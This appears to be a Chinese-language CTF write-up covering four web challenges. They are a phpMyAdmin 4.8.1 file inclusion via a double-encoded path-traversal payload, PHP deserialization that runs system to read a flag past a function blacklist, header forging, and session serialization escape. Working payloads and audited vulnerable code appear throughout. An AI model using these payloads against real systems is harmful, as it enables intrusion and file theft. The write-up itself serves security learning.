[GWCTF 2019]我有一个数据库
没猜到有个数据库。
访问页面/phpmyadmin/,没有密码,不过也没有表,找一下版本号4.8.1,找CVE打。
下载4.8.1的源码。由于找不到,直接把题目环境扒下来了。
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
看一下index.php的代码,当传入的 $_REQUEST['target']
- 不为空
- 是一个字符串
- 不含有
index
- 不包含
import.php
、export.php
- 通过
checkPageValidity
函数
进入core.php,查看代码
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
注意到最后$page的值又经过了一次url解码,当参数通过$_REQUEST方式传入时,已经经过了一次url解码,这里又进行了第二次解码后,可以直接利用二次编码?绕过(有意思的是这段代码某比赛专门出了一题CTF用来考),接着传入文件包含。
payload
?target=db_datadict.php%253f/../../../../../../../../flag
[网鼎杯 2020 朱雀组]phpweb
每隔5秒发送一个包,提交包括call_user_func(func, args)
的两个参数
尝试提交 system(ls -a)
发现存在WAF。读取源码
func=file_get_contents&p=index.php
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
else {
die("Hacker...");
}
}
?>
尝试读取flag文件,但是没有找到flag文件。
最后在tmp目录下,利用反序列化读取文件
<?php
class Test{
var $p = "cat /tmp/flagoefiu4r93";
var $func = "system";
}
$test = new Test();
echo(serialize($test));
[BJDCTF 2nd]假猪套天下第一
这题东西比较多
首先是登录,通过抓包看注释可以看见有一个L0g1n.php文件访问。
访问后,cookie中存在一个time,提示要99年后登录,修改cookie值即可。
接着分别修改Client-IP、referer。
要求使用浏览器commmodo 64,查了一下他的user agent为Commodore 64。
要求邮箱为root@gem-love.com,这里用了Form知识点,以前没了解过。
最后需要代理服务器,添加via。
[安洵杯 2019]easy_serialize_php
source_code:
<?php
// 提交$f参数
$function = @$_GET['f'];
// 过滤函数$img 将关键字替换为""
function filter($img)
{
$filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');
$filter = '/' . implode('|', $filter_arr) . '/i';
return preg_replace($filter, '', $img);
}
if ($_SESSION) {
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
// 支持POST传参
extract($_POST);
if (!$function) {
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
// 先对图片数据进行编码
if (!$_GET['img_path']) {
$_SESSION['img'] = base64_encode('guest_img.png');
} else {
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
// 序列化后过滤函数
$serialize_info = filter(serialize($_SESSION));
// 反序列化后读取文件
if ($function == 'highlight_file') {
highlight_file('index.php');
} else if ($function == 'phpinfo') {
eval('phpinfo();'); //maybe you can find something in here!
} else if ($function == 'show_image') {
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
审计代码,查看phpinfo,可以看到存在疑似flag文件。
接下来尝试的就是如何读取文件了。由于传入$img_path会被base64编码后哈希加密,所以无法通过该变量读取文件。
审计一下代码逻辑。首先程序支持POST方式传参。先将图片数据进行编码,序列化$_SESSION的值之后调用filter函数,将关键字通过空格代替。接着反序列化变量,base64解码decode变量。
这边有一个比较明显的漏洞就是先调用序列化再执行filter函数,导致反序列化字符串逃逸。
这里利用了值逃逸,参考。
POST参数
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
然后改BASE64编码,长度一样。